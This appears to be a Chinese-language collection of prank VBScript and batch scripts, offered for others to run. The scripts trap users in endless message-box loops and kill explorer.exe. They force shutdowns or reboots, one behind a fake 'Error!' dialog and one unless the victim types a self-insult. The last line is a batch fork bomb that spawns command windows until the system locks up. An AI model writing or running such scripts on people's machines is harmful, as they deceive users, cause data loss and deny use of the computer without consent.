vbs：
msgbox "pin气检测开始！！",48 wscript.sleep 500 msgbox "Are you a pinjia?",vbyesno+64,"xxx制作~" wscript.sleep 1000 if msgbox("由于你的pin气太大，严重干扰系统的正常工作，所以立即重启···",vbokcancel+48)=vbok then wscript.sleep 600 msgbox "系统招架不住啊！！！！",48+4096 wscript.sleep 1000 Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 30 -c 这孩子pin气大大滴好！！！",,true else Set objShell = CreateObject("Wscript.Shell") objShell.Run "taskkill /f /im explorer.exe",,true while true msgbox "真傻~",48 wscript.sleep 1500 wend end if
while true msgbox "你要好好学习！好好学习！",48 wscript.sleep 1000 wend
While True msgbox "子曰：打架用砖乎",48,"```" wscript.sleep 1000 msgbox "不宜乱乎······",48,"```" wscript.sleep 1000 msgbox "照头乎！！",48,"```" wscript.sleep 1000 msgbox "乎不死再乎----",48,"```" wscript.sleep 1000 Wend
dim a a=msgbox("我给你讲个故事吧!",vbyes,"xxx的杰作",vbyes+48) wscript.sleep 500 if a=vbok then do msgbox "从前有座山",48 wscript.sleep 1000 msgbox "山上有座庙",48 wscript.sleep 1000 msgbox "庙里有两个和尚",48 wscript.sleep 1000 msgbox "大和尚给小和尚讲故事说：",48 wscript.sleep 1000 a=1 loop while a=1 end if
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你是猪，快说你是猪 不说120秒关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说你是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "嘿嘿 真是猪！ 气死你 小样！！"
dim a a=msgbox("Error!",vbyes+16) if a=vbok then Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 0",,true end if
批处理：
这个是批处理： @echo off start cmd %0